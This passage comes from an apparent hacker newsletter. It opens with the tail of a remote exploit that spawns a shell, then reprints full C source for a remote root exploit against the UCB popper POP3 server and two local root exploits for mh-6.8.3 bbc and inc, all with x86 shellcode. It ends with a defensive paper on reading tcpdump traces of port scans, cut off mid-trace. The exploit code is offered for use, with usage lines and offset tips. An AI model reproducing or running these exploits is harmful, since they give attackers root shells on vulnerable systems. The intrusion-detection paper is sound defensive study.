Matrix.\n"); mkd_cwd(buf); printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n"); write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */ } int main(int argc, char *argv[]) { int i; if(argc != 3 || !isdigit(*argv[2])) usage(); parse_url(argv[1]); /* Find the preset */ for(i=0; presets[i].desc; ++i) { if(i==atoi(argv[2])) break; } if(!presets[i].mpsize) bail("No such target type."); mapped_path_size=presets[i].mpsize; mapped_path=presets[i].mp; eip_addr=presets[i].eip_addr; (presets[i].attack)(); signal(SIGINT, SIG_IGN); /* Get rid of accidental ctrl-C */ write(ctrl, "id\n", 3); /* assert(0wnage) */ shovel_data(ctrl); write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */ printf("\n*** I hope you behaved...\n***\n*** nuuB\n"); return 0; }  @HWA 36.0 ucb.c remote UCB popper exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za/ /* * Remote root exploit for UCB popper on Linux * * sk8@lucid-solutions.com * http://www.lucid-solutions.com * * Usage: ( ./linux-ucb 0 ; cat ) | nc your.host.com 110 * Try adjusting offsets by 100. * * Tested on UCB Pop server (version 1.831beta) * * I figure it's safe to release this since UCB is not that * common anymore. But if you are still running it on your * system(s), you had better upgrade. This program shows you * why. * */ #include #include #include #include /* Linux x86 shellcode */ char *shell= "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; #define ADDR 0xbffff1d8 #define OFFSET 0 #define BUFLEN 1100 char buffer[BUFLEN]; int offset=OFFSET; int main (int argc, char *argv[]) { int i; if(argc > 2) { printf("Usage: %s [offset]\n",argv[0]); exit(0); } if(argc==2) offset=atoi(argv[1]); /* Set up the buffer */ memset(buffer,0x90,BUFLEN); memcpy(buffer+BUFLEN-200-strlen(shell),shell,strlen(shell)); for(i=BUFLEN-200+1;i #include #define BBC_PATH "/usr/jp/bin/mh/bbc" #define RET_ADR 1009 #define FAKE1 1013 #define FAKE2 1017 #define FAKE_OFS 0x2274 #define JMP_OFS 0x3000 #define MAXBUF 3000 #define NOP 0x90 #define SHELL "/tmp/pp" #define COMPILER "gcc" char exec[60]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; char xx[MAXBUF+1]; unsigned int i,ip,sp; FILE *fp; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main(int argc,char *argv[]) { strcat(exec,SHELL); sprintf(xx,"%s.c",SHELL); if ((fp=fopen(xx,"w"))==NULL){ printf("Can not write to %s\n",xx); exit(1); } fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}"); fclose(fp); sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL); system(xx); sp=get_sp(); printf("ESP = %x\n",sp); memset(xx,NOP,MAXBUF); ip=sp-FAKE_OFS; xx[FAKE1 ]=ip&0xff; xx[FAKE1+1]=(ip>>8)&0xff; xx[FAKE1+2]=(ip>>16)&0xff; xx[FAKE1+3]=(ip>>24)&0xff; xx[FAKE2 ]=ip&0xff; xx[FAKE2+1]=(ip>>8)&0xff; xx[FAKE2+2]=(ip>>16)&0xff; xx[FAKE2+3]=(ip>>24)&0xff; ip=sp-JMP_OFS; xx[RET_ADR ]=ip&0xff; xx[RET_ADR+1]=(ip>>8)&0xff; xx[RET_ADR+2]=(ip>>16)&0xff; xx[RET_ADR+3]=(ip>>24)&0xff; strncpy(xx+800,exec,strlen(exec)); xx[MAXBUF]=0; if (argc!=2) execl(BBC_PATH,"bbc","test","-file",xx,(char *) 0); else execl(argv[1],"bbc","test","-file",xx,(char *) 0); } @HWA 38.0 mh-6.8.3 / inc Exploit for Linux (Shadow Penguin) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za/ /*============================================================================= mh-6.8.3 / inc Exploit for Linux The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #define BBC_PATH "/usr/jp/bin/mh/inc" #define RET_ADR 1017 #define JMP_OFS 0x1f30 #define MAXBUF 3000 #define NOP 0x90 #define SHELL "/tmp/pp" #define COMPILER "gcc" char exec[60]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; char xx[MAXBUF+1]; unsigned int i,ip,sp; FILE *fp; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main(int argc,char *argv[]) { strcat(exec,SHELL); sprintf(xx,"%s.c",SHELL); if ((fp=fopen(xx,"w"))==NULL){ printf("Can not write to %s\n",xx); exit(1); } fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}"); fclose(fp); sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL); system(xx); sp=get_sp(); printf("ESP = %x\n",sp); memset(xx,NOP,MAXBUF); ip=sp-JMP_OFS; xx[RET_ADR ]=ip&0xff; xx[RET_ADR+1]=(ip>>8)&0xff; xx[RET_ADR+2]=(ip>>16)&0xff; xx[RET_ADR+3]=(ip>>24)&0xff; strncpy(xx+800,exec,strlen(exec)); xx[MAXBUF]=0; if (argc!=2) execl(BBC_PATH,"inc","-file",xx,(char *) 0); else execl(argv[1],"inc","-file",xx,(char *) 0); } @HWA 39.0 Interpreting Network Traffic:by Richard Bejtlich ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.security-focus.com/ Interpreting Network Traffic: A Network Intrusion Detectors Look at Suspicious Events by Richard Bejtlich Thu Nov 18 1999 Interpreting Network Traffic: A Network Intrusion Detectors Look at Suspicious Events by Richard Bejtlich bejtlich@altavista.net v 2.0 28 Oct 99 The purpose of this paper is to discuss interpretations of selected network traffic events from the viewpoint of a network intrusion detection analyst. (I define an "event" as any TCP/IP-based network traffic which prompts an analyst to investigate further. Generally, a suspicion that traffic has an abnormal or malicious character should prompt a closer look.) I assume the analyst has no knowledge of the source of the event outside of the data collected by his network-based intrusion detection system (NIDS) or firewall logs. I do not concentrate on the method by which these events are collected, but I assume it is possible to obtain data in TCPDump format. Using this standard allows a consistent presentation and interpretation of network traffic. I thank Steven Northcutt for writing "Network Intrusion Detection: An Analysts Handbook." His work prompted me to analyze my own IDS output more closely, resulting in the traces you see today. I must also thank my coworkers for sharing their technical expertise and for reviewing this paper. [ The Problem ] Network intrusion detection is part art and part science. When confronted by abnormal network traffic, one must answer several questions: - What is happening? - What caused the traffic to be generated? - Is malicious intent involved? - What is the appropriate course of action? Since few people in the network security field are "experts," answering several of these questions requires a combination of creativity and logic. Thinking creatively helps imagine what sort of activity might have generated the traffic seen in his NIDS or firewall logs. Thinking logically assists the understanding of the actions necessary to generate suspicious traffic. While the interpretation techniques explained here are pertinent to activity logged by a NIDS or firewall, I approach the subject from the NIDS angle. This my favorite subject, and I present this data with a warning: know the inner workings of your NIDS, or suffer frequent false positives and false conclusions. For example, perhaps a NIDS records connections only on ports 21, 23, 25, and 80, because you run services on these ports. If the NIDS alerts you to attempted connections to these ports, it does not mean an intruder scanned those ports alone. He may have hit ports 0 to 1023, with the NIDS only seeing four attempted connections. Always wonder "what did the NIDS miss?" This question is at the heart of an excellent paper by Tim Newsham and Tom Ptacek, titled "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection," available at: http://www.nai.com/media/ps/nai_labs/ids.ps Jonathan Skinners summary is also worth perusing: http://www.nai.com/media/doc/nai_labs/ids-simple.doc Newsham and Ptacek remind us a NIDS may not be able to reconstruct events properly. From our earlier example, perhaps ports 21, 23, 25 and 80 were not the destination on the host; they could be the source ports of another system sending packets to us. However, being low ports, the NIDS might assume they are destination ports on our host. The NIDS then presents a reversed direction of traffic. (If your NIDS does not make these mistakes often, consider yourself fortunate and a smart selector of NIDS software!) Having done network intrusion detection for the last year, I have learned the most interesting activity occurs below the level of detail offered by the NIDS console. Although many NIDS have improved collection, interpretation, and presentation functions, some traffic can best be understood at the packet trace level. Relying solely on the alerts show by the NIDS can lead to missed or misunderstood events. If the NIDS cannot show you packet-level action, the analyst is at the mercy of the NIDS engines interpretation abilities. A final goal of this paper is to promote the discussion of unrecognized traffic in the NIDS community. I present several events which could be seen at first glance as scanning or forms of reconnaissance. Without a collection of properly categorized network signatures, preferably TCPDump or Snoop-based, every new event forces analysts to "reinvent the wheel." (Note I prefer TCPDump as it was the format of choice for Richard Stevens TCP Illustrated volumes.) Should you disagree with my interpretations, I ask you to email me so we can discuss those differences. I am no expert but I do recognize the need to start a conversation among those concerned with network intrusion detection. [ The Tool ] TCPDump is a utility which can help cut through the fog of mysterious traffic. It is a network monitoring program developed by the Lawrence Berkeley National Laboratory. It captures and reports traffic in a consistent and frequently enlightening way. You can get the UNIX version at: ftp://ftp.ee.lbl.gov/TCPDump.tar.Z A team of students at the Italian Politecnico di Torino developed a Microsoft Windows 95/98/NT port of this program called Windump, available here: http://netgroup-serv.polito.it/windump/ You can even use TCPDump to build a simple NIDS, as described by the Naval Surface Warfare Center Dahlgren: http://www.nswc.navy.mil/ISSEC/CID/step.htm You may also profit by examining the pioneering work done by the Network Flight Recorder and L0pht: http://www.nfr.net and http://www.l0pht.com [ TCPDump Format ] A quick discussion of TCPDump output will help explain the traces which follow. I highlight interesting portions of the traces by starting with a short, standard, simple exchange of data via file transfer protocol. [ Note: All traces have been "sanitized" to remove the original IPs. Any similarity to IPs actually in use is purely coincidental. TCP service names are based on IANAs list: http://www.isi.edu/in-notes/iana/assignments/port-numbers I assume working knowledge of the transmission control protocol. See the late Richard Stevens "TCP/IP Illustrated, Volume 1: The Protocols" Thanks Mr. Stevens. ] Here is a packet-level conversation as seen by TCPDump, representing the TCP three-way handshake and an exchange of data. Note I have not run TCPDump with the -v (verbose) option, although I do so in selected traces which follow. For the purposes of this example, verbose information does not add significantly to the explanation. (Essentially, verbose data in later examples displays time to live and protocol id values.) I present the entire exchange first, with line-by-line analysis following. 1. 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21: S 1484414:1484414(0) win 8192 (DF) 2. 14:05:27.250587 ftp.server.edu.21 > ftp.client.org.1057: S 3037133697:3037133697(0) ack 1484415 win 9112 (DF) 3. 14:05:27.259810 ftp.client.org.1057 > ftp.server.edu.21: . ack 1 win 8576 (DF) 4. 14:05:27.402888 ftp.server.edu.47309 > ftp.client.org.113: S 3037242401:3037242401(0) win 8760 (DF) 5. 14:05:27.412512 ftp.client.org.113 > ftp.server.edu.47309: R 0:0(0) ack 3037242402 win 0 6. 14:05:27.564336 ftp.server.edu.21 > ftp.client.org.1057: P 1:88(87) ack 1 win 9112 (DF) [tos 0x10] 7. 14:05:27.727461 ftp.client.org.1057 > ftp.server.edu.21: . ack 88 win 8489 (DF) (seven packets deleted for clarity) 15. 14:05:35.774099 ftp.client.org.1057 > ftp.server.edu.21: P 31:37(6) ack 183 win 8394 (DF) 16. 14:05:35.895233 ftp.server.edu.21 > ftp.client.org.1057: P 183:197(14) ack 37 win 9112 (DF) [tos 0x10] 17. 14:05:35.903492 ftp.server.edu.21 > ftp.client.org.1057: F 197:197(0) ack 37 win 9112 (DF) [tos 0x10] 18. 14:05:35.906748 ftp.client.org.1057 > ftp.server.edu.21: . ack 198 win 8380 (DF) 19. 14:05:35.917049 ftp.client.org.1057 > ftp.server.edu.21: F 37:37(0) ack 198 win 8380 (DF) 20. ? The exchange has concluded, and I begin my explanation. 1. 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21: S 1484414:1484414(0) win 8192 (DF) Line one shows an initiating time of 14:05:27.083238, which means 14 hours (2 pm), 05 minutes, and 27.083238 seconds. Packet transmission rate may help classify the activity as manually-inputted or computer- scripted. Packet type, combined with time, can help identify an event. The many hundreds of packets sent per second help define a SYN flood, which I discuss later. We see ftp.client.org using port 1057 to connect to port 21 (ftp) at ftp.server.edu. Ports will play a crucial role in deciphering odd traces. In addition to trying to resolve any IP addresses listed, you should check the service name associated with any relevant ports. Port 1057 is not one of the well-known ports which can generally only be accessed as root (0-1023), but it does fall in the range of the registered ports (1024-49151), which can be accessed by most users and user processes. It is also in the range of the so-called "ephemeral" ports, from 1024 to 5000, from which many hosts initiate connections to well-know ports. As port 1057 does not have a service registered to it, it alone should not arouse suspicion. "S" represents "SYN," or the synchronization flag in the TCP header. Setting the SYN flag, without other flags (like ACK, FIN, PUSH, etc.) shows this is the first step of the three-way handshake. Part of this first step is setting synchronization numbers. These numbers help each side of the conversation track the exchange of data. "1484414:1484414(0)" means the sending TCP stack is setting 1484414 as the initial synchronization number (ISN), and "0" (no) data is being passed in this packet. Although the numbers before and after the colon (:) are the same for this packet, in later packets they will be different and will have explanatory value. Richard Stevens (TCP/IP Vol 1 p. 231) explains the format: sequence number:implied ending sequence number (data) However, as our traces will demonstrate, the format seems to be: sequence number of first byte in packet:sequence number of first byte in NEXT packet (data) TCPDump will only display the number:number (data) information for packets with more than 0 bytes of data or those setting the SYN, FIN, or RST flags. Our initiating IP uses the ISN to begin counting bytes in the packets it sends to ftp.server.edu. Tracking the synchronization number used by the first observed packet may help identify malicious activity. Some tools use default synchronization numbers. In certain packets shown later, we see a host ACK 674719802 and 674711610; we assume they are responses to ISNs of 674719801 and 676711609 from an initiating hosts SYN packet. Of interest are the TCP available window size of 8192 bytes, the maximum segment size of 536 bytes, two "nop" options, and the "DF," or "dont fragment" option. The TCP window is a flow control mechanism which allows the sender to transmit multiple packets before stopping to wait for acknowledgements. Here ftp.client.org is advertising its window size of 8192 bytes to ftp.server.edu. Next, maximum segment size is advertised by the ftp client as 536 bytes. This is the largest collection of data which ftp.client.org will attempt to send to the ftp server. Note this is only the size of the data payload, as the TCP and IP headers must still be added to the packet. Following are two "nop" options, which denote "no option." They are present to help ftp.client.org "pad" its TCP header to form four- byte fields. In this case, the MSS occupies four bytes (one byte for "kind=2," one byte for "len=4," and two bytes for the actual MSS value). "sackOK" denotes acceptance by the ftp client of the "selective acknowledgement" option, described in RFC 2018. Selective acknowledgement is a method allowing the data receiver to tell the sender which segments arrived successfully. This lets the sender retransmit only lost packets, in an attempt to improve upon TCPs cumulative acknowledgement process. Since this option occupies two bytes (one byte for "kind=4" and another for "len=2"), the two single-byte "nop" options round out the fields to two even four-byte sections. (The four byte value is significant, as it is the "width" of the standard TCP header.) Finally, the presence of DF, an IP option, shows the ftp.client.org is asking the ftp server not to fragment its packets. While innocent in this first packet, these options may be worth studying in other traces. You may see traffic scattered across several NIDS with little in common but the window sizes, maximum segments sizes, or other options. While certainly not indicative individually, taken collectively such clues might help correlate related events. (Although no data is passed in this packet, we will encounter a trace which attempts to send 64 bytes of data to another host. While unusual, it is not illegal per the TCP RFCs, and makes an excellent signature identifying element!) 2. 14:05:27.250587 ftp.server.edu.21 > ftp.client.org.1057: S 3037133697:3037133697(0) ack 1484415 win 9112 (DF) The second packet is the ftp servers response, setting its own initial sequence number (actually an "initial response number") as 3037133697. The ftp server acknowledges our clients ISN by setting its "ack" flag and associating it with 1484415, which is the next sequence number it expects from the client, or essentially ISN + 1. The first byte of data sent by the client will be number 1484415. Notice we have used one sequence number already, 1484414, without sending any data. This "waste" of a sequence number will not be repeated, as all other sequence numbers will be used to indicate specific bytes sent during the TCP exchange. Observe the different window and maximum segment sizes for the ftp server (i.e., 9112 bytes and 536 bytes, respectively), compared to the client system. While innocent here, they might help identify a scan or tool signature, since many packet-forging scripts will set these values manually. Notice that since the MSS option occupies four bytes by itself, no "nop" byte padders are needed. 3. 14:05:27.259810 ftp.client.org.1057 > ftp.server.edu.21: . ack 1 win 8576 (DF) The third packet concludes the TCP three-way handshake with an acknowledgment by the client of the ftp servers initial response number. Note that this trace does not employ the TCPDumps -S option, which outputs absolute sequence numbers for each packet. These traces use relative sequence numbers, which make it easier to track the number of bytes passed. For example, packet three shows an "ack 1", with the 1 being the difference between the clients initial sequence number and the sequence number of packet three. In other words, the -S option would have printed 3037133698 here. Remember, the purpose of an ACK is to help track bytes exchanged. By ACKing 3037133698, (or 1 in relative terms), the client is telling the server "I expect the first byte you send me to be number 3037133698 (or 1 in relative terms.) The "." means no flags are set. (If the sequence number issue still puzzles you, the appendix includes a trace where absolute sequence numbers were used.) 4. 14:05:27.402888 ftp.server.edu.47309 > ftp.client.org.113: S 3037242401:3037242401(0) win 8760 (DF) 5. 14:05:27.412512 ftp.client.org.113 > ftp.server.edu.47309: R 0:0(0) ack 3037242402 win 0 Packets four and five present an opportunity to discuss closed ports. The ftp server is attempt to use port 40739 connect to the client machines port 113 (auth), for authentication purposes. Since the clients port 113 is closed, it responds with a reset "R", and acknowledges the servers sequence number 3037242401 by adding one to it, to make 3037242402. The server does not respond, since there is no need per the RFC. (A RST should never be ACKed.) Data exchange follows with packets six and higher. I have deleted packets eight through fourteen, because they do not add anything new to our discussion. 15. 14:05:35.774099 ftp.client.org.1057 > ftp.server.edu.21: P 31:37(6) ack 183 win 8394 (DF) 16. 14:05:35.895233 ftp.server.edu.21 > ftp.client.org.1057: P 183:197(14) ack 37 win 9112 (DF) [tos 0x10] Packets fifteen and sixteen are later stages of data transfer. Note the "P", or "push" flag. This tells the ftp server to "push" its queue of packets stored in the TCP/IP stack directly to the application above. The push from the ftp server to the ftp client in packet sixteen tells the ftp client to push its queue of packets up its stack, to the client application. The information "pushed" consists of all data in the segment containing the push flag, plus any data stored in the receiving TCP buffer. The presence of this flag is normal for an interactive session, such as a ftp connection. It may represent a command sent by the client; as the client usually waits for the servers response, it is logical for the client to request rapid processing of all data stored in the servers TCP buffer. Although not seen in this paper, one may encounter the URG or "urgent" flag in other traces. This flag tells the receiving TCP stack that "urgent" data is present, and leaves the receiver to interpret it as it wishes. The telnet and rlogin applications typically use this flag to signal transmission of the interrupt key, while ftp uses urgent to signal aborting file transfer. Packet sixteen conclude with the IP option "type of service," shown as [tos 0x10]. This particular value means "minimize delay." Other possible values are maximize throughput, maximize reliability, and minimize monetary cost, all of which are beyond the scope of this paper. Turning back to data flow, packet fifteen shows the ftp client sending 6 bytes of data, with a relative sequence number showing 36 total bytes sent during the entire TCP conversation. The next set of bytes sent to the server will begin with number 37. Here we see this format at work: sequence number of first byte in packet:sequence number of first byte in NEXT packet (data) In packet 15 the client sent bytes 31, 32, 33, 34, 35, and 36, and will send 37 next. By ACKing 183, the ftp client acknowledges receipt of 182 bytes from the server, and says it expects the next data from the server to begin with byte 183. Packet sixteen shows the ftp server sending 14 bytes and acknowledging receipt of 36 bytes from the client, while expecting byte 37 next. 17. 14:05:35.903492 ftp.server.edu.21 > ftp.client.org.1057: F 197:197(0) ack 37 win 9112 (DF) [tos 0x10] 18. 14:05:35.906748 ftp.client.org.1057 > ftp.server.edu.21: . ack 198 win 8380 (DF) 19. 14:05:35.917049 ftp.client.org.1057 > ftp.server.edu.21: F 37:37(0) ack 198 win 8380 (DF) 20. ? Packet seventeen begins the process of closing the connection in a graceful manner, and introduces another TCP header flag. (Richard Stevens calls this "orderly release." In contrast, "abortive release" is the abrupt termination of a TCP connection, as caused by a host shutting down or loss of connectivity.) The server sends a packet with the F or "FIN" flag sent, indicating it has no more data to send to the client. The server also acknowledges the last byte sent by the client (37-1=36), and shows it has sent all bytes needed with the 37:37 (0) value. Packet eighteen demonstrates that the session does not close gracefully until both sides agree. Here, the client acknowledges the servers FIN request. The client then sends its own FIN. According to Richard Stevens, we should see one last packet (number 20) from the server to the client, where the server acknowledges the clients FIN. We do not see that packet in this trace, which can remind us that some events do not correspond exactly to the logical models which we follow. I imagine that the packet was lost, or that the TCPDump ended abruptly. Many of the traces in this paper and most scanning activity does not observe this graceful close process, and instead uses resets from the source host. This process is demonstrated below. 1. 11:48:02.545940 dialup.modem.net.1092 > 206.61.52.32.119: S 436537:436537(0) win 8192 (DF) 2. 11:48:02.774748 host.news.org.119 > dialup.modem.net.1092: S 4231438324:4231438324(0) ack 436538 win 0 3. 11:48:02.784542 dialup.modem.net.1092 > host.news.org.119: . ack 1 win 8576 (DF) 4. 11:48:02.952477 host.news.org.119 > dialup.modem.net.1092: R 1:1(0) ack 1 win 0 Lines one to three are the standard three-way handshake associated with normal TCP connections. Line four, however shows the R or RST (reset) flag. This is a request by host.news.org to immediately reset the connection between itself and dialup.modem.net. No acknowledgement by dialup.modem.net occurs and none is required by the RFCs. Resets will be seen in upcoming traces quite often. [ Let the Tracing Begin! ] Lets start looking at malicious network activity by examining a scan which obeys TCPs three-way handshake -- the plain TCP connect () scan. This scan type is old but will provide a baseline for some of the later traces. Any intrusion detection system should log this activity. (Whether the analyst reacts to it may be another matter!) 11:56:20.442740 connect.scanner.net.1141 > victim.cablemodem.com.21: S 929641:929641(0) win 8192 (DF) 11:56:21.191786 victim.cablemodem.com.21 > connect.scanner.net.1141: S 779881634:779881634(0) ack 929642 win 8576 (DF) 11:56:21.201490 connect.scanner.net.1141 > victim.cablemodem.com.21: . ack 1 win 8576 (DF) 11:56:23.954930 connect.scanner.net.1144 > victim.cablemodem.com.37: S 932103:932103(0) win 8192 (DF) 11:56:24.647238 victim.cablemodem.com.37 > connect.scanner.net.1144: R 0:0(0) ack 1 win 0 The first trace shows a successful three-way handshake between the scanning host and the unsuspecting victim; this means port 21 (ftp) is open. The second trace shows the scanners SYN being met by a reset, meaning port 37 (time) is closed on the victims machine. Contrast that activity with the traces below. 10:22:45.030552 half.scanner.net.49724 > victim.cablemodem.com.21: S 2421827136:2421827136(0) 10:22:45.030552 victim.cablemodem.com.21 > half.scanner.net.49724: S 4046313668:4046313668(0) ack 2421827137 10:22:45.030552 half.scanner.net.49724 > victim.cablemodem.com.21: R 2421827137:2421827137(0) 10:22:45.050552 half.scanner.net.49724 > victim.cablemodem.com.37: S 2418821749:2418821749(0) 10:22:45.050552 victim.cablemodem.com.37 > half.scanner.net.49724: R 0:0(0) ack 2418821750 This is a TCP SYN, or "half connect ()" scan. The scanner sends a reset to any port reported as open by the victim, rather than continue with the three-way handshake. The original purpose of this scan was to evade a NIDS which only logged connections completing the three-way handshake, like the TCP connect () scan. All newer NIDS should catch this activity. In an effort to evade newer NIDS, some scanner programmers have tried other tactics. Consider this trace: 21:00:04.099626 snap 0:0:0:8:0 scanner.net.53 > host152.victim.org.21: F 0:0(0) win 4096 (ttl 58, id 63232) 21:00:45.049644 snap 0:0:0:8:0 scanner.net.53 > host2.victim.org.21: F 0:0(0) win 3072 (ttl 49, id 38965) 21:00:51.064263 snap 0:0:0:8:0 scanner.net.53 > host2.victim.org.21: F 0:0(0) win 3072 (ttl 49, id 48301) 21:03:59.711106 snap 0:0:0:8:0 scanner.net.53 > host201.victim.org.21: F 0:0(0) win 2048 (ttl 48, id 55097) 21:04:05.738307 snap 0:0:0:8:0 scanner.net.53 > host201.victim.org.21: F 0:0(0) win 2048 (ttl 48, id 50715) 21:05:10.399065 snap 0:0:0:8:0 scanner.net.53 > host202.victim.org.21: F 0:0(0) win 3072 (ttl 49, id 32642) 21:05:16.429001 snap 0:0:0:8:0 scanner.net.53 > host202.victim.org.21: F 0:0(0) win 3072 (ttl 49, id 31501) 21:06:03.724675 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21: F 0:0(0) win 4096 (ttl 54, id 340) 21:09:12.202997 snap 0:0:0:8:0 scanner.net.53 > host24.victim.org.21: F 0:0(0) win 2048 (ttl 52, id 47689) 21:09:18.215642 snap 0:0:0:8:0 scanner.net.53 > host24.victim.org.21: F 0:0(0) win 2048 (ttl 52, id 26723) 21:10:22.664153 snap 0:0:0:8:0 scanner.net.53 > host3.victim.org.21: F 0:0(0) win 3072 (ttl 53, id 24838) 21:10:28.691982 snap 0:0:0:8:0 scanner.net.53 > host3.victim.org.21: F 0:0(0) win 3072 (ttl 53, id 25257) 21:11:10.213615 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21: F 0:0(0) win 4096 (ttl 58, id 61907) 21:11:10.227485 snap 0:0:0:8:0 host102.victim.org.21 > scanner.net.53: R 0:0(0) ack 4294947297 win 0 (ttl 25, id 38400) 21:14:24.649413 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21: F 0:0(0) win 3072 (ttl 57, id 57333) 21:14:30.680740 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21: F 0:0(0) win 3072 (ttl 57, id 30463) 21:15:34.924834 snap 0:0:0:8:0 scanner.net.53 > host53.victim.org.21: F 0:0(0) win 3072 (ttl 57, id 60600) 21:15:40.946466 snap 0:0:0:8:0 scanner.net.53 > host53.victim.org.21: F 0:0(0) win 3072 (ttl 57, id 47454) 21:16:10.506971 snap 0:0:0:8:0 scanner.net.53 > host152.victim.org.21: F 0:0(0) win 1024 (ttl 51, id 59265) 21:19:37.124542 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21: F 0:0(0) win 1024 (ttl 47, id 43025) 21:19:43.127165 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21: F 0:0(0) win 1024 (ttl 47, id 24937) First, note this trace was produced using TCPDumps verbose option, where "snap 0:0:0:8:0" refers to the subnetwork access protocol. SNAP is a method of differentiating between non-OSI network layer protocols. "0:0:0" represents a three-byte organizational unit identifier, which for TCP/IP is 0x0. "8:0" represents a two-byte Ethertype, which for Ethernet is 0x800. (Looking at the SNAP byte-by-byte, we have the OUI as 0x0 : 0x0 : 0x0, with the Ethertype being 0x08 : 0x0.) Lets look at this activity systematically, beginning with IPs: - IPs: We see traffic from scanner.net to multiple hosts on the victim.org domain. scanner.net seems to be walking up the subnet. Generally, each IP on the subnet is probed twice. - Ports: The originating IP sends packets from port 53 (dns) to port 21 (ftp) on each system. Activity to TCP port 53 can usually be associated with DNS zone transfers or other resolution processes. (For example, responses to DNS queries via UDP cannot exceed 512 bytes. If the response is more than 512 bytes, a connection via TCP must be established. Therefore, legitimate DNS information exchange can occur over TCP channels.) The ftp port would be an attractive target, especially if the scanner is looking for an ftp server with anonymous logins. - Flags: Most of the packets have the FIN flag set. This is not normal behavior. Unlike some of the activity we will discuss below, we cannot envision a network event which would generate these packets as an appropriate response. Therefore, they must have been specially crafted. - Traffic direction/activity: Every packet save one is a FIN sent from scanner.net to a target host. The only difference is the R ACK reply by host102.victim.org. This indicates port 21 is open on this host. The lack of a reply by any other host shows their ftp ports are closed. - Time: This is not an especially fast scan, since only 21 packets were sent during a 19 second span. Nevertheless, this is undoubtedly an automated event. - Window size, TTL, and other features: Several other characteristics deserve attention. Window size values are 1024, 2048, 3072, and 4096 bytes for various packets. TTLs vary from 47 to 58, which is a wide margin. The IP ID numbers also vary, without apparent regularity. While it is difficult to discern patterns in this case, other traces may yield more recognizable results. (Thank you to Judy Novak for pointing out these features.) - Bottom line: This event was a FIN scan, designed to evade some NIDS, which found an open ftp port at host102.victim.org. I recommend considering these factors when making judgments about any network event you investigate. Consider this traffic: 22:08:33.913622 cable.modem.net.23 > dns.one.org.23: . ack 499410217 win 1028 (ttl 30, id 39426) 22:08:33.915481 dns.one.org.23 > cable.modem.net.23: R 499410217:499410217(0) win 0 (ttl 254, id 34512) 22:08:33.954076 cable.modem.net.23 > dns.two.org.23: . ack 499410217 win 1028 (ttl 0, id 39426) 22:08:33.955461 dns.two.org.23 > cable.modem.net.23: R 499410217:499410217(0) win 0 (ttl 254, id 5962) 22:08:33.982753 cable.modem.net.143 > dns.one.org.143: . ack 499410217 win 1028 (ttl 30, id 39426) 22:08:33.983904 dns.one.org.143 > cable.modem.net.143: R 499410217:499410217(0) win 0 (ttl 254, id 34514) 22:08:34.061121 cable.modem.net.143 > dns.two.org.143: . ack 499410217 win 1028 (ttl 30, id 39426) 22:08:34.064069 dns.two.org.143 > cable.modem.net.143: R 499410217:499410217(0) win 0 (ttl 254, id 5967) 22:08:39.161874 cable.modem.net.1146 > dns.two.org.23: S 2585837477:2585837477(0) win 16324 (DF) (ttl 52, id 770) 22:08:39.170887 cable.modem.net.1147 > dns.two.org.143: S 2585589580:2585589580(0) win 16324 (DF) (ttl 52, id 771) 22:08:39.182221 cable.modem.net.1149 > dns.two.org.111: S 2583756762:2583756762(0) win 16324 (DF) (ttl 52, id 773) 22:08:39.183010 cable.modem.net.1151 > dns.two.org.79: S 2588862233:2588862233(0) win 16324 (DF) (ttl 52, id 775) 22:08:39.190551 cable.modem.net.1152 > dns.two.org.53: S 2590571910:2590571910(0) win 16324 (DF) (ttl 52, id 776) 22:08:39.212060 cable.modem.net.1153 > dns.two.org.31337: S 2585840391:2585840391(0) win 16324 (DF) (ttl 52, id 777) 22:08:39.224956 cable.modem.net.1157 > dns.two.org.21: S 2585906418:2585906418(0) win 16324 (DF) (ttl 52, id 781) 22:08:39.261488 cable.modem.net.1162 > dns.one.org.23: S 2589761527:2589761527(0) win 16324 (DF) (ttl 52, id 786) 22:08:39.264445 cable.modem.net.1163 > dns.one.org.143: S 2588328359:2588328359(0) win 16324 (DF) (ttl 52, id 787) 22:08:39.292663 cable.modem.net.1165 > dns.one.org.111: S 2590160130:2590160130(0) win 16324 (DF) (ttl 52, id 789) 22:08:39.305784 cable.modem.net.1167 > dns.one.org.79: S 2594918730:2594918730(0) win 16324 (DF) (ttl 52, id 791) 22:08:39.307131 cable.modem.net.1168 > dns.one.org.53: S 